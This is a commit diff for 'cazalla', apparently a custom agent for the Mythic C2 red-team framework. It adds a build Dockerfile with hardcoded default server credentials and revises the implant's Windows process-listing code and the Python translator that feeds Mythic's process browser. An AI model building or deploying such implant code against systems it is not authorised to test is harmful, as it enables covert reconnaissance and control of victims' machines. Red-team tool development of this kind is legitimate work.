Process Explorer fixed

This commit is contained in:
marcos.luna
2025-10-29 12:51:37 +01:00
parent b194f13cf6
commit aeb74259c7
7 changed files with 342 additions and 22 deletions
+53
View File
@@ -0,0 +1,53 @@
# Alternative Dockerfile for local development and customization
# This Dockerfile ensures that local changes are always picked up
# Use this if the standard Dockerfile doesn't pick up your changes
FROM itsafeaturemythic/mythic_python_base:latest
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
# --- Evita prompts (tzdata) y builds no reproducibles ---
ENV DEBIAN_FRONTEND=noninteractive \
PIP_NO_CACHE_DIR=1
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
RUN apt-get update && \
apt-get install -y --no-install-recommends \
apt-utils ca-certificates git zip make build-essential \
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
rm -rf /var/lib/apt/lists/*
# --- Reconfirma pip y setuptools actualizados (ya viene, pero por si acaso) ---
RUN python -m pip install --upgrade pip setuptools wheel
# --- Instala tus dependencias (sin reinstalar mythic-container) ---
COPY requirements.txt /
RUN pip install --no-cache-dir --no-deps -r /requirements.txt
# --- Variables de entorno necesarias para comunicación con Mythic Core ---
ENV MYTHIC_SERVER_HOST="mythic_server"
ENV MYTHIC_SERVER_PORT="17443"
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
# --- Copia tu código de translator de forma explícita ---
# Esto asegura que todos los cambios locales se copien correctamente
WORKDIR /Mythic/
# Copiar estructura completa del proyecto
COPY ./ /Mythic/cazalla/
# Asegurar que los permisos sean correctos para Python
RUN chmod -R a+rX /Mythic/cazalla/
# --- Comando por defecto ---
CMD ["python3", "main.py"]
+69
View File
@@ -0,0 +1,69 @@
# Git files
.git
.gitignore
.gitattributes
# Python cache
__pycache__/
*.py[cod]
*$py.class
*.so
.Python
*.egg-info/
dist/
build/
*.egg
# Virtual environments
venv/
env/
ENV/
# IDE files
.vscode/
.idea/
*.swp
*.swo
*~
# OS files
.DS_Store
Thumbs.db
# Build artifacts
*.exe
*.dll
*.o
*.obj
*.a
*.lib
build/
*.pdb
*.ilk
# Logs
*.log
# Documentation (optional - remove if you want to include docs in container)
*.md
LICENSE*
# Test files (optional - remove if you want tests in container)
test/
tests/
*_test.py
test_*.py
# Temporary files
*.tmp
*.bak
*.cache
# Mythic specific (don't copy these as they're managed by Mythic)
.env
docker-compose.yml
mythic-cli
# Agent code build directories (will be built inside container)
cazalla/agent_code/cazalla/build/
+1
View File
@@ -35,6 +35,7 @@ ENV MYTHIC_SERVER_USERNAME="mythic_admin"
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
# --- Copia tu código de translator ---
# This COPY ensures local changes are included when USE_BUILD_CONTEXT=true
WORKDIR /Mythic/
COPY ./ /Mythic/cazalla/
@@ -9,6 +9,9 @@
BOOL SelfIsWindowsVistaOrLater();
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
#include <tlhelp32.h>
#include <psapi.h>
// Nota: Removidas estructuras de PEB ya que no obtenemos command_line (como Xenon)
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
HANDLE hToken;
@@ -28,6 +31,8 @@ BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
return result;
}
// Nota: Como Xenon, no obtenemos command_line para mantener simplicidad y compatibilidad
VOID listarProcesos(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
@@ -49,38 +54,44 @@ VOID listarProcesos(PAnalizador argumentos) {
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
// Como Xenon: intentar abrir proceso para obtener info adicional
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid = -1;
// Inicializar valores por defecto
nombreCuenta[0] = '\0';
BOOL isWow64 = FALSE;
if (hProcess) {
// Obtener información del usuario
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
nombreCuenta[0] = '\0';
}
// Obtener Session ID
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
nombreCuenta,
sid);
// Obtener arquitectura
isWow64 = IsWow64ProcessEx(hProcess);
CloseHandle(hProcess);
} else {
// Si no podemos abrir el proceso, intentar obtener al menos el Session ID
ProcessIdToSessionId(pe.th32ProcessID, &sid);
}
else {
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
// Formato exacto como Xenon: nombre\tPPID\tPID\tarch\tuser\tsession\n
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
hProcess ? (isWow64 ? "x86" : arch) : arch, // Usar arch por defecto si no podemos abrir
nombreCuenta[0] != '\0' ? nombreCuenta : "",
sid != -1 ? sid : 0);
} while (Process32Next(toolhelp, &pe));
}
@@ -40,5 +40,11 @@ class PsCommand(CommandBase):
return response
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
"""
Process response from agent. The translator automatically converts
tab-separated process list to Process Browser JSON format.
"""
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
# Note: The translator (commands_from_implant.py) handles conversion
# from tab-separated format to Process Browser JSON format automatically
return resp
@@ -86,6 +86,65 @@ def getTasking(data):
return dataJson
def parse_process_list(output_text):
"""
Parsea el texto tab-separated de procesos al formato JSON del Process Browser.
Formato esperado del agente (como Xenon): nombre\\tPPID\\tPID\\tarch\\tuser\\tsession\\n
Formato requerido por Mythic Process Browser según docs:
https://docs.mythic-c2.net/customizing/hooking-features/process_list
"""
processes = []
lines = output_text.strip().split('\n')
for line in lines:
line = line.strip()
if not line:
continue
parts = line.split('\t')
if len(parts) < 3:
continue # Necesitamos al menos nombre, PPID, PID
try:
# Campos requeridos según documentación de Mythic
process_id = int(parts[2]) if len(parts) > 2 and parts[2].strip().isdigit() else None
if process_id is None:
continue # Saltar si no hay PID válido
process = {
"process_id": process_id,
"name": parts[0] if len(parts) > 0 and parts[0].strip() else "",
}
# Si el nombre está vacío o es inválido, saltar este proceso
if not process["name"]:
continue
# Campos opcionales según documentación
if len(parts) > 1 and parts[1].strip().isdigit():
process["parent_process_id"] = int(parts[1])
if len(parts) > 3 and parts[3].strip():
process["architecture"] = parts[3].strip()
if len(parts) > 4 and parts[4].strip():
process["user"] = parts[4].strip()
# Session ID se guarda como metadata
if len(parts) > 5 and parts[5].strip().isdigit():
process["session_id"] = int(parts[5])
# Nota: No incluimos command_line como Xenon para mantener simplicidad
# Si se necesita en el futuro, se puede agregar lectura de PEB
processes.append(process)
except Exception as e:
print(f"[ERROR] Error parseando línea de proceso: {line}, error: {e}")
continue
return processes
def postResponse(data):
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
@@ -103,11 +162,51 @@ def postResponse(data):
print(f"Fallo al decodificar la salida: {e}")
decoded_output = "[ERROR DECODIFICANDO]"
task_id_str = uuidTask.decode('cp850')
# Intentar detectar si es una lista de procesos (formato tab-separated)
# Formato esperado del comando ps: nombre\tPPID\tPID\tarch\tuser\tsession\n
is_process_list = False
processes = []
# Detectar si es una lista de procesos: formato tab-separated con al menos 3 columnas
# Formato: nombre\tPPID\tPID\t[arch]\t[user]\t[session]
if decoded_output and '\t' in decoded_output:
lines = [l.strip() for l in decoded_output.strip().split('\n') if l.strip()]
if len(lines) > 0:
# Verificar que la mayoría de líneas tengan formato de proceso
# (al menos 3 columnas: nombre, PPID, PID)
valid_lines = 0
for line in lines[:10]: # Revisar primeras 10 líneas
parts = line.split('\t')
if len(parts) >= 3:
# Verificar que PPID (índice 1) y PID (índice 2) sean números
# y que el nombre (índice 0) no esté vacío
if (parts[1].strip().isdigit() and
parts[2].strip().isdigit() and
parts[0].strip()):
valid_lines += 1
# Si al menos 80% de las líneas revisadas tienen formato válido
sample_size = len(lines[:10])
if sample_size > 0 and valid_lines >= max(1, sample_size * 0.8):
is_process_list = True
print(f"[PROCESS_BROWSER] Detectado formato de lista de procesos ({valid_lines}/{sample_size} líneas válidas), parseando...")
processes = parse_process_list(decoded_output)
print(f"[PROCESS_BROWSER] Parseados {len(processes)} procesos")
jsonTask = {
"task_id": uuidTask.decode('cp850'),
"user_output": decoded_output,
"task_id": task_id_str,
"completed": True,
}
# Siempre incluir user_output para que se vea en la consola
jsonTask["user_output"] = decoded_output
# Si detectamos una lista de procesos, también incluir el formato para Process Browser
if is_process_list and len(processes) > 0:
jsonTask["processes"] = processes
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos")
resTaks.append(jsonTask)